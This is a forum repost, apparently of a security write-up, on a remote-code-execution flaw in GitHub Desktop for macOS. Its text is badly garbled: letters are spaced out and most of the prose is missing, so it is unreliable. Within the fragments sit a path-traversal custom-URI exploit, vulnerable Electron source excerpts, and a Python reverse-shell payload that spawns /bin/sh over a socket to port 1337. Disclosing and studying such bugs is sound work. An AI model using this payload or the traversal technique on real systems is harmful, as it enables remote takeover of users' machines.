[13726] 2019-02-02_GitHubDesktop在OSX系统下的RCE漏洞

文档创建者:s7ckTeam
浏览次数:16
最后更新:2025-01-18
2019-02-02_GitHubDesktop在OSX系统下的RCE漏洞 G i t H u b   D e s k t o p O S X R C E c l o u d s   F r e e B u f   2 0 1 9 - 0 2 - 0 2 2 0 1 8 H a c k e r O n e 5 0 H 1 - 7 0 2 G i t H u b G i t H u b G i t H u b   D e s k t o p O S X R C E G i t H u b G i t H u b G i t H u b   -   h t t p s : / / b o u n t y . g i t h u b . c o m /   @ z h u o w e i   2 0 1 7 G i t H u b   D e s k t o p R C E
x - g i t h u b - c l i e n t : / / G i t H u b   D e s k t o p U R I o p e n R e p o r e p o s i t o r y G i t H u b   D e s k t o p C l o n e x - g i t h u b - c l i e n t : / / o p e n R e p o / h t t p s : / / g i t h u b . c o m / g i t h u b / t r a i n i n g - k i t ? b r a n c h = m a s t e r & f i l e p a t h = R E A D M E . m d " . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / A p p l i c a t i o n s / C a l c u l a t o r . a p p "   ? U R L r e p o s i t o r y r e p o s i t o r y O S X a p p a p p O S X a p p a p p G i t G i t H u b   D e s k t o p a p p G i t H u b   D e s k t o p O S X f i l e : / / /   U R L G i t H u b   D e s k t o p E l e c t r o n s h e l l . o p e n E x t e r n a l ( ) U R L P O C P y i n s t a l l e r P y t h o n s h e l l G i t h u b g i t h u b - d e s k t o p - p o c r c e . p y a p p / s r c / m a i n - p r o c e s s / m a i n . t s . . . i p c M a i n . o n (         ' s h o w - i t e m - i n - f o l d e r ' ,         ( e v e n t :   E l e c t r o n . I p c M e s s a g e E v e n t ,   {   p a t h   } :   {   p a t h :   s t r i n g   } )   = >   {                 . . .                 i f   ( s t a t s . i s D i r e c t o r y ( ) )   {                         o p e n D i r e c t o r y S a f e ( p a t h )                 }                 e l s e   {                         s h e l l . s h o w I t e m I n F o l d e r ( p a t h )         } . . . a p p / s r c / m a i n - p r o c e s s / s h e l l . t s i m p o r t   {   s h e l l   }   f r o m   ' e l e c t r o n ' ; e x p o r t   f u n c t i o n   o p e n D i r e c t o r y S a f e ( p a t h :   s t r i n g )   {     i f   ( _ _ D A R W I N _ _ )   {         c o n s t   d i r e c t o r y U R L   =   U r l . f o r m a t ( {             p a t h n a m e :   p a t h ,             p r o t o c o l :   ' f i l e : ' ,             s l a s h e s :   t r u e ,         } )         s h e l l . o p e n E x t e r n a l ( d i r e c t o r y U R L )     }   e l s e   {         s h e l l . o p e n I t e m ( p a t h )     } }
1 3 3 7 G i t H u b   D e s k t o p   g i t h u b - d e s k t o p - p o c   C l o n e P a y l o a d G i t H u b D e s k t o p   g i t h u b - d e s k t o p - p o c   G i t h u b O S X   a p p a p p R E A D M E . m d G i t H u b   D e s k t o p O S X R C E O S X G i t H u b   D e s k t o p   G i t H u b   D e s k t o p   U R L s a p p U R L G i t h u b a p p / s r c / m a i n - p r o c e s s / m a i n . t s i f ( ! D A R W I N   & &   s t a t s . i s D i r e c t o r y ( ) )   O S X D A R W I N i m p o r t   s o c k e t , s u b p r o c e s s , o s ; o s . s y s t e m ( " o p e n   - a   c a l c u l a t o r . a p p " ) s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " l o c a l h o s t " , 1 3 3 7 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ;
2 0 1 8 / 0 8 / 1 9       H a c k e r O n e   3 9 7 0 4 5 G i t H u b 2 0 1 8 / 0 8 / 2 0     2 0 1 8 / 0 8 / 2 5       G i t H u b   D e s k t o p   v 1 . 3 . 4 2 0 1 8 / 0 8 / 2 7     2 0 1 8 / 0 8 / 2 7     H 1 - 7 0 2   G i t H u b * p w n i n g c l o u d s F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则